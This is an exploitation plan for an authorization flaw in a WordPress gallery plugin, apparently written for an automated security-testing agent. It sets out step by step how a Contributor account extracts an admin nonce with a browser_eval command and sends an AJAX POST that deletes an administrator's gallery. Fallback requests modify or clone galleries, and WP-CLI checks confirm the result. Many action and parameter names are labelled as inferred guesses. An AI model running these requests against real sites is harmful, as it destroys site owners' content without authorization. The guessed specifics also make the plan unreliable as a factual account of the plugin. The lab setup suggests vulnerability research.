Exploitation Research Plan: CVE-2025-14455 (Image Photo Gallery Final Tiles Grid)

1. Vulnerability Summary

The Image Photo Gallery Final Tiles Grid plugin (<= 3.6.7) contains a missing authorization vulnerability in its gallery management functions. While these functions are restricted to authenticated users via WordPress AJAX handlers, they fail to verify the user's specific capabilities (e.g., manage_options) or ownership of the gallery. This allows any authenticated user with Contributor-level permissions or higher to manipulate (delete, modify, or clone) any gallery on the system, including those created by administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Authentication: Contributor-level session required.
• Vulnerable Actions (Inferred):
  • ftg_delete_gallery
  • ftg_save_gallery
  • ftg_duplicate_gallery (or ftg_clone_gallery)
• Parameters:
  • action: The specific gallery management action.
  • id or gallery_id: The ID of the target gallery to manipulate.
  • ftg_nonce (or similar): The AJAX nonce required for the request.
• Preconditions: A gallery must exist (created by an admin) and its ID must be known (IDs are sequential integers).

3. Code Flow (Inferred)

1. The plugin registers AJAX handlers in an admin-focused class (likely FinalTilesGridAdmin or FTG class).
2. add_action( 'wp_ajax_ftg_delete_gallery', array( $this, 'delete_gallery' ) ); is registered.
3. The delete_gallery function (and others) likely calls check_ajax_referer( 'ftg_admin_nonce', 'nonce' ) (or similar).
4. The Flaw: The function proceeds to perform database operations (e.g., $wpdb->delete(...)) based on a provided id parameter without checking if ( current_user_can( 'manage_options' ) ).
5. Since Contributors can access wp-admin, they can load the scripts that contain the nonce and then fire these AJAX actions.

4. Nonce Acquisition Strategy

The plugin localizes admin data for its JavaScript gallery manager.

1. Identify Shortcode/Admin Page: The plugin's admin interface is usually under wp-admin/admin.php?page=final-tiles-grid-gallery-lite.
2. Action: Log in as the Contributor.
3. Navigate: Go to the plugin's dashboard (if the menu is visible) or create a post and see if the plugin's scripts load.
4. Browser Eval: Use browser_eval to extract the nonce from the global JavaScript object.
   • Variable Name (Inferred): FinalTilesGridAdmin or ftg_vars.
   • Key (Inferred): nonce or ftg_admin_nonce.
   • Command: browser_eval("window.FinalTilesGridAdmin?.nonce || window.ftg_vars?.nonce")

5. Exploitation Strategy

We will attempt to delete a gallery created by the administrator using a Contributor account.

Step 1: Discover Gallery ID

Galleries are stored in a custom table (likely wp_final_tiles_grid_galleries). IDs are usually visible in the admin UI or can be guessed (starting from 1).

Step 2: Perform the Deletion

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=ftg_delete_gallery&id=[TARGET_ID]&nonce=[EXTRACTED_NONCE]

• Action: ftg_delete_gallery (inferred action name).
• id: The ID of the administrator's gallery.
• nonce: The nonce obtained in Section 4.

6. Test Data Setup

1. Users:
   • Create an Administrator (admin_user).
   • Create a Contributor (attacker_user).
2. Gallery:
   • As admin_user, create a new gallery titled "Admin Secret Gallery".
   • Note the ID of the created gallery (e.g., 1).
3. Page:
   • As admin_user, create a page containing the gallery shortcode: [final_tiles_grid id='1'].

7. Expected Results

• Response: The AJAX endpoint should return a success status (likely {"success":true} or 1).
• Outcome: The gallery with the specified ID is removed from the database.
• Access Control Failure: The request succeeds despite being initiated by a Contributor who should not have gallery management permissions.

8. Verification Steps

After sending the exploit request, verify the gallery is gone via WP-CLI:

# Check if the gallery exists in the custom table
wp db query "SELECT * FROM wp_final_tiles_grid_galleries WHERE id = [TARGET_ID];"

# Alternatively, check if the gallery list is empty or missing the ID
# (Plugin specific CLI command if available, otherwise raw SQL)

9. Alternative Approaches

If ftg_delete_gallery is not the correct action name or requires different parameters:

1. Clone Action: Try action=ftg_duplicate_gallery&id=[TARGET_ID]. This is less destructive but still proves the authorization bypass.
2. Modify Action: Try action=ftg_save_gallery&id=[TARGET_ID]&title=Hacked.
3. Parameter Discovery: If id fails, try gallery_id. If nonce fails, look for _wpnonce or ftg_nonce.
4. Admin Page Scraping: If browser_eval fails, use http_request to GET the admin page wp-admin/admin.php?page=final-tiles-grid-gallery-lite and regex the source for the nonce.